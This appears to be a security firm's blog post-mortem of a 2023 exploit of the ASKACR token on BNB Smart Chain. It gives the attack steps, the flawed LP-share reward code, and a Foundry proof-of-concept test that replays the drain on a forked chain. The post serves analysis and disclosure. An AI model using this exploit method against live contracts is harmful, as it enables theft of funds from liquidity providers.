Analysis2023-03-24

Deep Security Analysis of the ASKACR attack

3 Minutes Read

Daniel Tan

Daniel Tan

Security Operation / Audit

Summary

On March 21, 2023, at 01:39:47 PM +UTC, the attacker(0xb189943) created and manipulated many new contracts, which gained ASKACR tokens from the ASKACR contract itself. Finally, the attacker gained 28,633 BSC-USD from the attack.

➡️ Link to the Original Story: https://twitter.com/MetatrustLabs/status/1638345276426706944

Introduction

Mar-21-2023 01:39:47 PM +UTC, the attacker(0xb189943) created many new contracts, which gained ASKACR tokens from the ASKACR contract itself. Finally the attacker gained 28,633 BSC-USD.

Background

Attacker

https://bscscan.com/address/0xb1899430b21f646b1b298a3f0c0707ea4047c53e

Attacking Contract

https://bscscan.com/address/0x559a352d205d5df7cd8021891ab9c680f7f278e2

Victim Contract

https://bscscan.com/address/0x5ae4b2f92f03717f3bdfe3b440d14d2f212d3745

Transaction

https://bscscan.com/tx/0xc20fa4953ff394bb806a57cafe71d1163973c0e5a47bb8dad1703a518b15ea3b

Attacking Steps

  1. The attacker(0xb189943) flash-loaned 160000000000000000000000 BSC-USD to the attacking contract(0x559a352), then the attacking contract performed the following steps;
  2. Swapped 80000000000000000000000 BSC-USD for 7602113503899446077512 ASKACR(0x5ae4b2f92f03717f3bdfe3b440d14d2f212d3745);
  3. Added liquidity with 80000000000000000000000 BSC-USD and 4602113503899446077512 ASKACR and gained 11030872800726050506746 Cake-LP token;
  4. Transferred 0 ASKACR tokens to itself;
  5. Created a new contract(0xbd9669) and made the new contract approve a great allowance to the attacking contract for the Cake-LP token;
  6. Transferred 11020872800726050506746 Cake-LP token to the new contract(0xbd9669);
  7. Made the new contract(0xbd9669) transfer 0 ASKACR token to itself;
  8. Repeated step 5 to step 7;
  9. Transferred 11020872800726050506746 Cake-LP to each new contract and withdrew the ASKACR token from each new contract to the attacking contract.
  10. Transferred 11020872800726050506746 Cake-LP to itself and removed the liquidity;
  11. Swapped ASKACR tokens to the BSC-USD tokens;
  12. Paid the flash-loan token and transferred the 28633086898865610595739 BSC-USD to 0xb189943.

Root Cause

The root cause is the way to compute the share. The share will be added to the corresponding account's balance. However, the way to compute the share mainly depends on the amount of LP tokens. Note that the _lpBalances[from] is only the number of the LP tokens in the previous transfer.

1function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
2 _inviter(from, to);
3 _lpShare(from, to);
4}
5
6function _lpShare(address from, address to) internal {
7 address addressThis = address(this);
8 uint256 fromShare = computeLpShare(from);
9 uint256 toShare = computeLpShare(to);
10 ...
11 if(toShare > 0){
12 _balances[addressThis] = _balances[addressThis] - toShare;
13 _balances[to] = toShare + _balances[to];
14 emit Transfer(addressThis, to, toShare);
15 }
16 _allShares[from] = _shares;
17 _allShares[to] = _shares;
18}
19
20function computeLpShare(address from) public view returns (uint256){
21 uint256 lpBalanceFrom = _pair.balanceOf(from);
22 lpBalanceFrom = lpBalanceFrom > _lpBalances[from]? _lpBalances[from]: lpBalanceFrom;
23 if(lpBalanceFrom <= 0){
24 return 0;
25 }
26 uint256 share = (_shares - _allShares[from]) * lpBalanceFrom;
27 return share / (10 ** 18);
28}
29
1function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
2 _inviter(from, to);
3 _lpShare(from, to);
4}
5
6function _lpShare(address from, address to) internal {
7 address addressThis = address(this);
8 uint256 fromShare = computeLpShare(from);
9 uint256 toShare = computeLpShare(to);
10 ...
11 if(toShare > 0){
12 _balances[addressThis] = _balances[addressThis] - toShare;
13 _balances[to] = toShare + _balances[to];
14 emit Transfer(addressThis, to, toShare);
15 }
16 _allShares[from] = _shares;
17 _allShares[to] = _shares;
18}
19
20function computeLpShare(address from) public view returns (uint256){
21 uint256 lpBalanceFrom = _pair.balanceOf(from);
22 lpBalanceFrom = lpBalanceFrom > _lpBalances[from]? _lpBalances[from]: lpBalanceFrom;
23 if(lpBalanceFrom <= 0){
24 return 0;
25 }
26 uint256 share = (_shares - _allShares[from]) * lpBalanceFrom;
27 return share / (10 ** 18);
28}
29

In the _afterTokenTransfer function, users' balance of the Cake-LP will be stored in the _lpBalances mapping:

1function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
2 _lpBalances[from] = _pair.balanceOf(from);
3 _lpBalances[to] = _pair.balanceOf(to);
4}
5
1function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
2 _lpBalances[from] = _pair.balanceOf(from);
3 _lpBalances[to] = _pair.balanceOf(to);
4}
5

The hacker created many new contracts and transferred LP tokens to the new contracts.

https://storage.googleapis.com/metatrust/blog/20230324001.png

Then, the hacker made the new contract and transferred 0 ASKACR tokens to the new contract itself to make _lpBalances[New_Contract] 11020872800726050506746.

https://storage.googleapis.com/metatrust/blog/20230324002.png

So, due to the share calculation rule in the computeLpShare function, in the next transfer, the new contract gained some shares into balance.

Finally, the new contract transferred all the tokens to the attacker and the attacker gained the profit.

https://storage.googleapis.com/metatrust/blog/20230324003.png

Fund Loss

28,633 BSC-USD was stolen from the BSC-USD-ASKACR pair(0xb93783).

PoC

1IERC20 askacr = IERC20(0x5aE4b2F92F03717F3bdFE3B440D14d2f212D3745);
2IERC20 pair = IERC20(0xB93783F29dd52cad2CBBfe2E5d06C318b63995B2);
3address lpHolder = 0x13F110CBBe4151E0a2e241d5a29e6f86f0CEA1e4;
4//--fork-block-number 26658150, 2 blocks before the attacking
5function testASKACRAttack() public {
6 uint balance = pair.balanceOf(address(lpHolder));
7 //assume the hacker is one of the lp token holder to skip the steps of flashloan, swapping and adding liquidity.
8 address hacker = lpHolder;
9 //At the begin, the hacker has no ASKACR token
10 assertEq(balance, 1711299605121882680806);
11 assertEq(askacr.balanceOf(address(hacker)), 8728411131443188467);
12
13 //impersonate the hacker
14 vm.startPrank(address(hacker));
15 askacr.transfer(address(hacker), 0);
16 //create a new contract
17 Intermediary new1 = new Intermediary(IERC20(pair));
18 //transfer LP token to the new contract
19 pair.transfer(address(new1), pair.balanceOf(address(hacker)));
20 //new contract transfers 0 ASKACR token to itself
21 askacr.transferFrom(address(new1), address(new1), 0);
22 //new contract withdraws ASKACR token to the hacker
23 new1.withdraw(askacr);
24 //new contract transfers ASKACR token to the hacker
25 pair.transferFrom(address(new1), address(hacker), pair.balanceOf(address(new1)));
26
27 //At the end
28 assertEq(pair.balanceOf(address(hacker)), 1711299605121882680806);
29 // ASKACR token increased from 8728411131443188467 to 17388698494177696810
30 assertEq(askacr.balanceOf(address(hacker)), 17388698494177696810);
31 vm.stopPrank();
32}
33
1IERC20 askacr = IERC20(0x5aE4b2F92F03717F3bdFE3B440D14d2f212D3745);
2IERC20 pair = IERC20(0xB93783F29dd52cad2CBBfe2E5d06C318b63995B2);
3address lpHolder = 0x13F110CBBe4151E0a2e241d5a29e6f86f0CEA1e4;
4//--fork-block-number 26658150, 2 blocks before the attacking
5function testASKACRAttack() public {
6 uint balance = pair.balanceOf(address(lpHolder));
7 //assume the hacker is one of the lp token holder to skip the steps of flashloan, swapping and adding liquidity.
8 address hacker = lpHolder;
9 //At the begin, the hacker has no ASKACR token
10 assertEq(balance, 1711299605121882680806);
11 assertEq(askacr.balanceOf(address(hacker)), 8728411131443188467);
12
13 //impersonate the hacker
14 vm.startPrank(address(hacker));
15 askacr.transfer(address(hacker), 0);
16 //create a new contract
17 Intermediary new1 = new Intermediary(IERC20(pair));
18 //transfer LP token to the new contract
19 pair.transfer(address(new1), pair.balanceOf(address(hacker)));
20 //new contract transfers 0 ASKACR token to itself
21 askacr.transferFrom(address(new1), address(new1), 0);
22 //new contract withdraws ASKACR token to the hacker
23 new1.withdraw(askacr);
24 //new contract transfers ASKACR token to the hacker
25 pair.transferFrom(address(new1), address(hacker), pair.balanceOf(address(new1)));
26
27 //At the end
28 assertEq(pair.balanceOf(address(hacker)), 1711299605121882680806);
29 // ASKACR token increased from 8728411131443188467 to 17388698494177696810
30 assertEq(askacr.balanceOf(address(hacker)), 17388698494177696810);
31 vm.stopPrank();
32}
33

PoC Repo: https://github.com/MetaTrustLabs/SmartContractAttackPoC/blob/main/test/ASKACR/ASKACRTest.sol


📢

  1. You can reach out to us via Twitter(https://twitter.com/MetatrustLabs), or by submitting a request via metarust.io.
  2. Feel Free to email us at social@metatrust.io or message us via Twitter.
  3. Find out more about Web3 security and get free trial access to our tools via metarust.io.
  4. Follow us on Twitter and subscribe to our newsletter.

Share this article